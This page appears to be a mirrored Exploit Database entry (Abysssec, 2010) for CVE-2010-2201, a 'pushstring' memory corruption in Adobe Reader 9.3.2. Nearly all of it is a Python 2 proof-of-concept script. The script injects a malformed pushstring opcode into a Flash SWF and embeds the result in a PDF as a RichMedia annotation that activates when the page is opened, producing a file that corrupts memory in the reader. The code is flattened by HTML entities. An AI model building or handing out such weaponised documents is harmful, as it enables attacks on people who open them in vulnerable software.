Adobe Acrobat and Reader – ‘pushstring’ Memory Corruption

• Exploit Database
• 114 阅读

• 作者： Abysssec
  日期： 2010-09-12
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14982/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159

  &apos;&apos;&apos; ________ __ ____ |\/|/ __ \ /\| || |_ \ | \/ | || | /\ | || | |_) | | |\/| | || |/ /\ \| || |_ < | || | |__| / ____ \ |__| | |_) | |_||_|\____/_/\_\____/|____/   http://www.exploit-db.com/moaub12-adobe-acrobat-and-reader-pushstring-memory-corruption/ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14982.zip (moaub-12-exploit.zip) &apos;&apos;&apos;   &apos;&apos;&apos; Title :Adobe Acrobat and Reader "pushstring" Memory Corruption Version :Adobe Reader 9.3.2 Analysis :http://www.abysssec.com Vendor:http://www.adobe.com Impact:Med/High Contact :shahin [at] abysssec.com , info[at] abysssec.com Twitter :@abysssec CVE :CVE-2010-2201 MOAUB Number:MOAUB-10 &apos;&apos;&apos;   import sys   class PDF: def __init__(self): self.xrefs = [] self.eol = &apos;\x0a&apos; self.content = &apos;&apos; self.xrefs_offset = 0 def header(self): self.content += &apos;%PDF-1.6&apos; + self.eol def obj(self, obj_num, data,flag): self.xrefs.append(len(self.content)) self.content += &apos;%d 0 obj&apos; % obj_num if flag == 1: self.content += self.eol + &apos;<< &apos; + data + &apos; >>&apos; + self.eol else: self.content += self.eol + data + self.eol self.content += &apos;endobj&apos; + self.eol   def obj_SWFStream(self, obj_num, data, stream): self.xrefs.append(len(self.content)) self.content += &apos;%d 0 obj&apos; % obj_num self.content += self.eol + &apos;<< &apos; + data + &apos;/Params << /Size %d >> /DL %d /Length %d&apos; %(len(stream),len(stream),len(stream)) self.content += &apos; >>&apos; + self.eol self.content += &apos;stream&apos; + self.eol + stream + self.eol + &apos;endstream&apos; + self.eol self.content += &apos;endobj&apos; + self.eol def obj_Stream(self, obj_num, data, stream): self.xrefs.append(len(self.content)) self.content += &apos;%d 0 obj&apos; % obj_num self.content += self.eol + &apos;<< &apos; + data + &apos;/Length %d&apos; %len(stream) self.content += &apos; >>&apos; + self.eol self.content += &apos;stream&apos; + self.eol + stream + self.eol + &apos;endstream&apos; + self.eol self.content += &apos;endobj&apos; + self.eol def ref(self, ref_num): return &apos;%d 0 R&apos; % ref_num def xref(self): self.xrefs_offset = len(self.content) self.content += &apos;xref&apos; + self.eol self.content += &apos;0 %d&apos; % (len(self.xrefs) + 1) self.content += self.eol self.content += &apos;0000000000 65535 f&apos; + self.eol for i in self.xrefs: self.content += &apos;%010d 00000 n&apos; % i self.content += self.eol   def trailer(self): self.content += &apos;trailer&apos; + self.eol self.content += &apos;<< /Size %d&apos; % (len(self.xrefs) + 1) self.content += &apos; /Root &apos; + self.ref(1) + &apos; >> &apos; + self.eol self.content += &apos;startxref&apos; + self.eol self.content += &apos;%d&apos; % self.xrefs_offset self.content += self.eol self.content += &apos;%%EOF&apos; def generate(self): return self.content     class POC:   def getSWF(self): try: fdR = open(&apos;flash.swf&apos;, &apos;rb+&apos;) strTotal = fdR.read() str1 = strTotal[:479] command = &apos;\x2C\xE8\x88\xF0\xFF\x33&apos; #pushstring str2 = strTotal[485:] fdW= open(&apos;poc.swf&apos;, &apos;wb+&apos;) finalStr = str1+command+str2 fdW.write(finalStr)   fdR.close() return finalStr   except IOError: print &apos;[*] Error : An IO error has occurred&apos;   def generate_pdf(): poc = POC() swfFile = &apos;poc.swf&apos; pdf = PDF() pdf.header() pdf.obj(1, &apos;/MarkInfo<</Marked true>>/Type /Catalog/Pages &apos; + pdf.ref(2) ,1) pdf.obj(2, &apos;/Count 1/Type/Pages/Kids[ &apos;+pdf.ref(3)+&apos; ]&apos;,1) pdf.obj(3, &apos;/Annots [ &apos;+pdf.ref(5) +&apos; ]/Parent &apos;+pdf.ref(2) + " /Type/Page"+&apos; /Contents &apos;+pdf.ref(4) ,1) pdf.obj_Stream(4, &apos;&apos;,&apos;&apos;) pdf.obj(5, &apos;/RichMediaSettings &apos;+pdf.ref(6)+&apos; /NM ( &apos; + swfFile + &apos; ) /Subtype /RichMedia /Type /Annot /RichMediaContent &apos;+pdf.ref(7)+&apos; /Rect [ 266 116 430 204 ]&apos;,1) pdf.obj(6, &apos;/Subtype /Flash /Activation &apos;+pdf.ref(8)+&apos; /Type /RichMediaSettings /Deactivation &apos;+pdf.ref(9),1) pdf.obj(7, &apos;/Type /RichMediaContent /Assets &apos;+pdf.ref(10) +&apos; /Configurations [ &apos; + pdf.ref(11) + &apos;]&apos;,1) pdf.obj(8, &apos;/Type /RichMediaActivation /Condition /PO &apos;,1) pdf.obj(9, &apos;/Type /RichMediaDeactivation /Condition /XD &apos;,1) pdf.obj(10, &apos;/Names [(&apos;+ swfFile +&apos;) &apos; + pdf.ref(12)+&apos; ]&apos;,1) pdf.obj(11, &apos;/Subtype /Flash /Type /RichMediaConfiguration /Name (ElFlash) /Instances [ &apos;+pdf.ref(13) +&apos; ]&apos;,1) pdf.obj(12, &apos;/EF <</F &apos;+pdf.ref(14) +&apos; >> /Type /Filespec /F (&apos;+ swfFile +&apos;)&apos;,1) pdf.obj(13, &apos;/Subype /Flash /Params &apos;+pdf.ref(15) +&apos; /Type /RichMediaInstance /Asset &apos;+ pdf.ref(12) ,1) pdf.obj_SWFStream(14, &apos; /Type /EmbeddedFile&apos;,poc.getSWF() ) pdf.obj(15, &apos;/Binding /Background /Type /RichMediaParams /FlashVars () /Settings &apos;+pdf.ref(16),1) pdf.obj_Stream(16, &apos;<</Length 0 >> &apos;,&apos;&apos;) pdf.xref() pdf.trailer() return pdf.generate() def main(): if len(sys.argv) != 2: print &apos;Usage: python %s [output file name]&apos; % sys.argv[0] sys.exit(0) file_name = sys.argv[1] if not file_name.endswith(&apos;.pdf&apos;): file_name = file_name + &apos;.pdf&apos; try: fd = open(file_name, &apos;wb+&apos;) fd.write(generate_pdf()) fd.close() print &apos;[-] PDF file generated and written to %s&apos; % file_name except IOError: print &apos;[*] Error : An IO error has occurred&apos; print &apos;[-] Exiting ...&apos; sys.exit(-1) if __name__ == &apos;__main__&apos;: main()